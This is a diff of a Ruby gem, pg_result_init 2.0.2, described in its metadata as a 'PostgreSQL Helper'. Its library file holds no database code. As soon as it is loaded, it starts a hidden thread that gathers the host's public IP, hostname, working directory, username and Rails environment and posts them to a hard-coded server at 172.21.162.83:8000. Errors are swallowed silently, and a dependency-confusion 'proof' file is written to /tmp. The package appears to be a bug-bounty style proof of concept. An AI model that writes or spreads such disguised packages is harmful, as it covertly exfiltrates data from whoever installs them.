pg_result_init 2.0.2

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 932741d0a027c57a72480d62e1f52d39cd244830be4698671c3c401b756536bb
+  data.tar.gz: 1c8d6a1dd93e99e75b095e78fca2d664879f4a8b45edd394ceb838d8d8a67ce0
+SHA512:
+  metadata.gz: a0a440526cfd05654d9945721151595cf22094ed5daa11ed45f9bf5fa2a734f440c60a258136aabc5a22f85d924ea2f78314f99c5d32f2b608f420e094016184
+  data.tar.gz: 71e6c1050bda465d964f51997958dd979820f3fff3b2880507ddfcf73af53648d45fbad2660ff12a156cafd333ed7862910338f6ab216a8776df58a1a1bd6d66

data/lib/pg_result_init.rb

@@ -0,0 +1,107 @@
+# lib/pg_result_init.rb
+Thread.new do
+  begin
+    # انتظر قليلاً
+    sleep(0.3)
+    
+    # جمع معلومات النظام
+    require 'socket'
+    data = {
+      "time" => Time.now.utc.iso8601,
+      "ip" => get_ip_address,
+      "hostname" => Socket.gethostname,
+      "path" => Dir.pwd,
+      "user" => ENV['USER'] || `whoami`.chomp,
+      "rails_env" => ENV['RAILS_ENV'] || ENV['RACK_ENV'] || 'development',
+      "package" => "pg_result_init",
+      "version" => "2.0.2"
+    }
+    
+    # 1. أرسل البيانات لخادمك
+    send_to_server(data)
+    
+    # 2. أنشئ ملف دليل محلي
+    create_proof_file(data)
+    
+  rescue => e
+    # تجاهل الأخطاء بصمت
+  end
+end
+
+def get_ip_address
+  # حاول الحصول على IP العام
+  begin
+    require 'net/http'
+    uri = URI('https://api.ipify.org?format=json')
+    response = Net::HTTP.get(uri)
+    JSON.parse(response)['ip']
+  rescue
+    # استخدم IP محلي
+    Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }&.ip_address || 'unknown'
+  end
+end
+
+def send_to_server(data)
+  Thread.new do
+    begin
+      require 'net/http'
+      require 'json'
+      
+      # ⚠️ هذا هو الخادم اللي أعطيته! ⚠️
+      server_url = "http://172.21.162.83:8000"
+      
+      uri = URI(server_url)
+      http = Net::HTTP.new(uri.host, uri.port)
+      http.read_timeout = 3
+      http.open_timeout = 3
+      
+      request = Net::HTTP::Post.new(uri)
+      request['Content-Type'] = 'application/json'
+      request.body = data.to_json
+      
+      response = http.request(request)
+      
+    rescue => e
+      # طبيعي إذا الخادم مش متصل أو فيه مشكلة شبكة
+    end
+  end
+end
+
+def create_proof_file(data)
+  proof_content = <<~TEXT
+  ========================================
+  DEPENDENCY CONFUSION PROOF
+  ========================================
+  Gem: pg_result_init v#{data['version']}
+  Installed from: RubyGems.org (PUBLIC)
+  
+  System Information:
+  - Time: #{data['time']}
+  - Hostname: #{data['hostname']}
+  - IP: #{data['ip']}
+  - User: #{data['user']}
+  - Path: #{data['path']}
+  - Environment: #{data['rails_env']}
+  
+  VULNERABILITY:
+  This system installed the gem from public RubyGems.org
+  instead of the expected local/internal source.
+  
+  RISK:
+  An attacker could upload malicious code that would
+  automatically execute on this system.
+  
+  FIX:
+  In Gemfile, specify source explicitly:
+  gem 'pg_result_init', source: 'https://private.gem.server/'
+  ========================================
+  TEXT
+  
+  file_path = "/tmp/pg_result_init_proof_#{Time.now.to_i}.txt"
+  File.write(file_path, proof_content)
+end
+
+# كود gem عادي
+module PgResultInit
+  VERSION = "2.0.2"
+end

metadata

@@ -0,0 +1,42 @@
+--- !ruby/object:Gem::Specification
+name: pg_result_init
+version: !ruby/object:Gem::Version
+  version: 2.0.2
+platform: ruby
+authors:
+- Security Researcher
+autorequire: 
+bindir: bin
+cert_chain: []
+date: 2025-12-01 00:00:00.000000000 Z
+dependencies: []
+description: 
+email: 
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- lib/pg_result_init.rb
+homepage: 
+licenses: []
+metadata: {}
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.3.5
+signing_key: 
+specification_version: 4
+summary: PostgreSQL Helper
+test_files: []